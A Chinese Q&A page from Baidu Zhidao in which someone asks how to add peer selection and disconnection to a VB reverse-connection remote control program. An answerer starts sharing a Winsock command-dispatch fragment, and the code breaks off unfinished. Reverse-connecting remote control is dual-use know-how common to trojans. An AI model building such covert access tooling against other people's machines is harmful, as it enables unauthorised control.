VB反向连接怎么实现

来源：百度知道 编辑：UC知道 时间：2024/05/24 05:20:06
我已经做完了我的反向连接程序，但是它有个缺点，就是不能断开与某人的连接 和选择与哪个电脑建立连接。
请各位大虾给我一个完整的源码，或者如何实现，谢谢

选择与哪个电脑建立连接。连接前加个连接请求,同意了才让它连接,并且在已连接情况下主动拒绝(就是不响应连接请求);
不能断开与某人的连接.发送一个命令,对方收到命令后主动断开连接.

给你一个本人的远程控制部分源码.

Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
Dim PauseTime, Start As Long
Dim Mx As Integer, My As Integer
Dim getInfo As String
Dim bArr(0 To 4) As Byte
Winsock2.GetData getInfo, vbString
Dirtemp = ""
Winsock2.SendData "come"
DoEvents
Select Case Left(CStr(getInfo), 4) '取得信息类型
'***********************************************************************************
Case "call" '################## 客户端请求连接
Winsock2.SendData "OK" & Winsock1.LocalIP
'***********************************************************************************
Case "Exit" '################## 退出程序
Unload Me
'***********************************************************************************
Case "info" '